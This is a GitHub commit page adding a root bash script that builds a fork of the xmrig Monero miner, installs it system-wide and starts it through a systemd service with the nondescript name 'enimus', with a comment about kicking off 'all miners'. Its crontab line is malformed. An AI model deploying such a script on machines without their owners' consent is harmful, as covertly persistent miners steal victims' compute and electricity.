Add files via upload

This commit is contained in:
Vlad 2018-05-30 09:43:25 +03:00 committed by GitHub
parent 8ab9f0f860
commit c7ceafe076
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23
3 changed files with 103 additions and 0 deletions

42
sz Normal file
View file

@ -0,0 +1,42 @@
#!/bin/bash -ex
cd /root
sudo add-apt-repository -y ppa:jonathonf/gcc-7.1
sudo apt-get update -y
sudo apt-get install -y gcc-7 g++-7
sudo apt-get install -y git build-essential cmake
sudo apt-get install -y libuv1-dev libmicrohttpd-dev uuid-dev
sudo echo /etc/crontab > 00 6 * * * root reboot
sudo git clone https://github.com/vladislavdid/xmr.git -q
cd xmr
mkdir build
cd build
sudo cmake .. -DCMAKE_C_COMPILER=gcc-7 -DCMAKE_CXX_COMPILER=g++-7 -DWITH_HTTPD=OFF
sudo make
sudo cp xmrig /usr/local/bin/xmrig
cd ..
sudo chmod +x ./local.sh
sudo ./local.sh
sudo mv /tmp/enimus.service /etc/systemd/system/enimus.service
# this is kick off aaall miners lol.
sudo systemctl daemon-reload
sudo systemctl start enimus.service